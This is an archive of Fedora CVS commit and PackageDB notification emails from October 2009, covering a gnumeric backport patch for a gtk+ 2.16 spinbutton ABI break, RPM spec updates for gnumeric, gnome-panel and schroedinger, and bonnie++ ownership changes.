+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090430.patch:
 NEWS                                |    1 +
 src/dialogs/ChangeLog               |    4 ++++
 src/dialogs/anova-one.glade         |    3 +--
 src/dialogs/anova-two.glade         |    3 +--
 src/dialogs/cell-format.glade       |    3 +--
 src/dialogs/col-width.glade         |    3 +--
 src/dialogs/descriptive-stats.glade |    3 +--
 src/dialogs/dialog-stf.glade        |    6 ++----
 src/dialogs/dialog-zoom.glade       |    3 +--
 src/dialogs/print.glade             |    9 +++------
 src/dialogs/row-height.glade        |    3 +--
 src/dialogs/simulation.glade        |   12 ++++--------
 src/dialogs/so-scrollbar.glade      |   12 ++++--------
 src/dialogs/solver.glade            |    7 ++-----
 14 files changed, 27 insertions(+), 45 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090430.patch ---
>From 75fe906cb0afce76a47338415773a6d4c5f07c5c Mon Sep 17 00:00:00 2001
From: Morten Welinder <terra at gnome.org>
Date: Thu, 30 Apr 2009 23:04:49 +0000
Subject: Work around gtk+ 2.16 ABI break re spinbuttons.

---
diff --git a/NEWS b/NEWS
index 4391951..d1808a8 100644
--- a/NEWS
+++ b/NEWS
@@ -9,6 +9,7 @@ Jon K?re:
 Morten:
 	* Fix problem with dialogs not showing up in fullscreen mode.
 	[#574602]
+	* Work around ABI changes in in gtk-2.16.  [#580930]
 
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
diff --git a/src/dialogs/ChangeLog b/src/dialogs/ChangeLog
index 5f63b08..8fcc3f4 100644
--- a/src/dialogs/ChangeLog
+++ b/src/dialogs/ChangeLog
@@ -1,3 +1,7 @@
+2009-04-40  Morten Welinder <terra at gnome.org>
+
+	* *.glade: Work around ABI break for spinbuttons.  #580930.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/src/dialogs/anova-one.glade b/src/dialogs/anova-one.glade
index cf95a5b..a822db5 100644
--- a/src/dialogs/anova-one.glade
+++ b/src/dialogs/anova-one.glade
@@ -318,8 +318,7 @@
 		      <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/anova-two.glade b/src/dialogs/anova-two.glade
index 3b101fb..c25e425 100644
--- a/src/dialogs/anova-two.glade
+++ b/src/dialogs/anova-two.glade
@@ -263,8 +263,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 0.05 0.05</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 0.05 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/cell-format.glade b/src/dialogs/cell-format.glade
index be30f4f..968754d 100644
--- a/src/dialogs/cell-format.glade
+++ b/src/dialogs/cell-format.glade
@@ -356,8 +356,7 @@
 				  <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 				  <property name="snap_to_ticks">False</property>
 				  <property name="wrap">False</property>
-				  <property name="adjustment">0 0 20 1 10 10</property>
-				</widget>
+				  <property name="adjustment">0 0 20 1 10 0</property>				</widget>
 				<packing>
 				  <property name="left_attach">1</property>
 				  <property name="right_attach">2</property>
diff --git a/src/dialogs/col-width.glade b/src/dialogs/col-width.glade
index 907a629..f87b21a 100644
--- a/src/dialogs/col-width.glade
+++ b/src/dialogs/col-width.glade
@@ -148,8 +148,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/descriptive-stats.glade b/src/dialogs/descriptive-stats.glade
index 9653553..35bde2c 100644
--- a/src/dialogs/descriptive-stats.glade
+++ b/src/dialogs/descriptive-stats.glade
@@ -474,8 +474,7 @@
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		</widget>
+		  <property name="adjustment">0.05 0 1 0.01 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">2</property>
 		  <property name="right_attach">3</property>
diff --git a/src/dialogs/dialog-stf.glade b/src/dialogs/dialog-stf.glade
index 0673cdd..77c7acd 100644
--- a/src/dialogs/dialog-stf.glade
+++ b/src/dialogs/dialog-stf.glade
@@ -515,8 +515,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
@@ -557,8 +556,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
diff --git a/src/dialogs/dialog-zoom.glade b/src/dialogs/dialog-zoom.glade
index 30e65cc..3cd716a 100644
--- a/src/dialogs/dialog-zoom.glade
+++ b/src/dialogs/dialog-zoom.glade
@@ -254,8 +254,7 @@
 			      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			      <property name="snap_to_ticks">False</property>
 			      <property name="wrap">False</property>
-			      <property name="adjustment">100 10 500 5 25 25</property>
-			    </widget>
+			      <property name="adjustment">100 10 500 5 25 0</property>			    </widget>
 			    <packing>
 			      <property name="padding">0</property>
 			      <property name="expand">False</property>
diff --git a/src/dialogs/print.glade b/src/dialogs/print.glade
index 196ffd0..f2a1662 100644
--- a/src/dialogs/print.glade
+++ b/src/dialogs/print.glade
@@ -698,8 +698,7 @@
                                       <widget class="GtkSpinButton" id="scale-h-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -747,8 +746,7 @@
                                       <widget class="GtkSpinButton" id="scale-v-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -792,8 +790,7 @@
                                       <widget class="GtkSpinButton" id="scale-percent-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">10 10 1000 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">10 10 1000 1 10 0</property>                                        <property name="climb_rate">1</property>
                                         <property name="digits">1</property>
                                         <property name="numeric">True</property>
                                       </widget>
diff --git a/src/dialogs/row-height.glade b/src/dialogs/row-height.glade
index 71e62b0..3004d87 100644
--- a/src/dialogs/row-height.glade
+++ b/src/dialogs/row-height.glade
@@ -149,8 +149,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/simulation.glade b/src/dialogs/simulation.glade
index d084dfc..356c90b 100644
--- a/src/dialogs/simulation.glade
+++ b/src/dialogs/simulation.glade
@@ -345,8 +345,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">10 1 36000 10 10 10</property>
-		    </widget>
+		      <property name="adjustment">10 1 36000 10 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -366,8 +365,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1000 1 1e+10 1000 10 10</property>
-		    </widget>
+		      <property name="adjustment">1000 1 1e+10 1000 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -387,8 +385,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -408,8 +405,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
diff --git a/src/dialogs/so-scrollbar.glade b/src/dialogs/so-scrollbar.glade
index f4d7de2..8890bbb 100644
--- a/src/dialogs/so-scrollbar.glade
+++ b/src/dialogs/so-scrollbar.glade
@@ -194,8 +194,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_min" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -218,8 +217,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_max" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -242,8 +240,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_increment" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -266,8 +263,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_page" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
diff --git a/src/dialogs/solver.glade b/src/dialogs/solver.glade
index 66eab7c..b58fdf3 100644
--- a/src/dialogs/solver.glade
+++ b/src/dialogs/solver.glade
@@ -668,8 +668,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">100 1 1e+10 10 10 10</property>
-		</widget>
+		  <property name="adjustment">100 1 1e+10 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
@@ -689,8 +688,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">30 1 36000 10 10 10</property>
-		</widget>
+		  <property name="adjustment">30 1 36000 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
--
cgit v0.8.2


Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/devel/gnumeric.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- gnumeric.spec	12 Oct 2009 07:51:30 -0000	1.47
+++ gnumeric.spec	20 Oct 2009 22:30:08 -0000	1.48
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          4%{?dist}
+Release:          5%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -12,7 +12,10 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
-Patch3:		  gnumeric-1.8.4-recent.patch
+Patch3:		  gnumeric-1.8.4-backport-20090129.patch
+Patch4:		  gnumeric-1.8.4-backport-20090309.patch
+Patch5:		  gnumeric-1.8.4-backport-20090314.patch
+Patch6:		  gnumeric-1.8.4-backport-20090430.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -64,7 +67,10 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
-%patch3 -p1
+%patch3 -p1 -b backport-20090129
+%patch4 -p1 -b backport-20090309
+%patch5 -p1 -b backport-20090314
+%patch6 -p1 -b backport-20090430
 
 chmod -x plugins/excel/rc4.?
 
@@ -193,6 +199,9 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> 1:1.8.4-5
+- Applied 4 patches from the 1.8 stable branch (#500890, #505001)
+
 * Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
 - Resolve rhbz #500890
 


--- gnumeric-1.8.4-recent.patch DELETED ---



From pkgdb at fedoraproject.org  Tue Oct 20 22:37:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:37:42 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223742.5A7C910F880@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora devel is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:03 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223803.70BD710F885@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora EPEL 4 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:24 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223824.D543710F885@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora EPEL 5 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:29 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223829.278ED10F88E@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 7 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:32 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223832.789F710F88F@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 1 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:36 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223836.D86EE10F88E@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 2 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:39 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223839.7746710F891@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 3 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:44 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223844.97A3A10F88E@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 4 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:47 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223847.BAA5210F891@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 5 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:50 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223850.2508510F890@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 6 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:53 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223853.994D410F880@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Red Hat Linux 8 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:38:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:38:57 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223857.8EB4310F888@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Red Hat Linux 9 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:39:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:39:00 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223900.C34E510F88E@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 8 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:39:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:39:04 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223905.123DE10F880@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 9 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:39:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:39:12 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223912.5040A10F885@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 10 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:39:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:39:14 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223915.2303B10F88F@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 11 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From pkgdb at fedoraproject.org  Tue Oct 20 22:39:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 22:39:21 +0000
Subject: [pkgdb] bonnie++ ownership updated
Message-ID: <20091020223921.7E45210F88E@bastion2.fedora.phx.redhat.com>

Package bonnie++ in Fedora 12 is now owned by rmyers

To make changes to this package see:
  /pkgdb/packages/name/bonnie++



From mclasen at fedoraproject.org  Tue Oct 20 22:40:16 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 22:40:16 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec,1.379,1.380
Message-ID: <20091020224016.BE69311C02A6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17462

Modified Files:
	gnome-panel.spec 
Log Message:
remove a debugging leftover



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.379
retrieving revision 1.380
diff -u -p -r1.379 -r1.380
--- gnome-panel.spec	20 Oct 2009 17:24:44 -0000	1.379
+++ gnome-panel.spec	20 Oct 2009 22:40:15 -0000	1.380
@@ -177,7 +177,6 @@ Panel Applets using the libpanel-applet 
 %patch42 -p1 -b .randr-crashes
 %patch43 -p1 -b .panel-padding
 %patch44 -p1 -b .icon-order
-exit
 %patch45 -p1 -b .icon-padding
 
 . %{SOURCE6}



From kwizart at fedoraproject.org  Tue Oct 20 22:44:37 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 22:44:37 +0000 (UTC)
Subject: rpms/schroedinger/devel schroedinger.spec, 1.15, 1.16 .cvsignore,
	1.8, 1.9 sources, 1.8, 1.9
Message-ID: <20091020224437.3147611C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19047

Modified Files:
	schroedinger.spec .cvsignore sources 
Log Message:
Update to 1.0.8



Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/schroedinger.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- schroedinger.spec	27 Jul 2009 03:53:09 -0000	1.15
+++ schroedinger.spec	20 Oct 2009 22:44:36 -0000	1.16
@@ -1,8 +1,8 @@
 %define abi 1.0
 
 Name:           schroedinger
-Version:        1.0.7
-Release:        2%{?dist}
+Version:        1.0.8
+Release:        1%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -80,6 +80,9 @@ rm -rf %{buildroot}
 %{_libdir}/gstreamer-0.10/libgstschro.so
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-1
+- Update to 1.0.8
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	24 Apr 2009 14:40:00 -0000	1.8
+++ .cvsignore	20 Oct 2009 22:44:36 -0000	1.9
@@ -1 +1 @@
-schroedinger-1.0.7.tar.gz
+schroedinger-1.0.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	24 Apr 2009 14:40:00 -0000	1.8
+++ sources	20 Oct 2009 22:44:36 -0000	1.9
@@ -1 +1 @@
-9a1132c54a58a6a040514f754b53ee44  schroedinger-1.0.7.tar.gz
+a76a7094f80419f81377b63432c64d01  schroedinger-1.0.8.tar.gz



From kwizart at fedoraproject.org  Tue Oct 20 22:45:18 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 22:45:18 +0000 (UTC)
Subject: rpms/schroedinger/F-12 .cvsignore, 1.8, 1.9 schroedinger.spec, 1.15,
	1.16 sources, 1.8, 1.9
Message-ID: <20091020224518.CA76011C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19199/F-12

Modified Files:
	.cvsignore schroedinger.spec sources 
Log Message:
Update to 1.0.8



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	24 Apr 2009 14:40:00 -0000	1.8
+++ .cvsignore	20 Oct 2009 22:45:18 -0000	1.9
@@ -1 +1 @@
-schroedinger-1.0.7.tar.gz
+schroedinger-1.0.8.tar.gz


Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/F-12/schroedinger.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- schroedinger.spec	27 Jul 2009 03:53:09 -0000	1.15
+++ schroedinger.spec	20 Oct 2009 22:45:18 -0000	1.16
@@ -1,8 +1,8 @@
 %define abi 1.0
 
 Name:           schroedinger
-Version:        1.0.7
-Release:        2%{?dist}
+Version:        1.0.8
+Release:        1%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -80,6 +80,9 @@ rm -rf %{buildroot}
 %{_libdir}/gstreamer-0.10/libgstschro.so
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-1
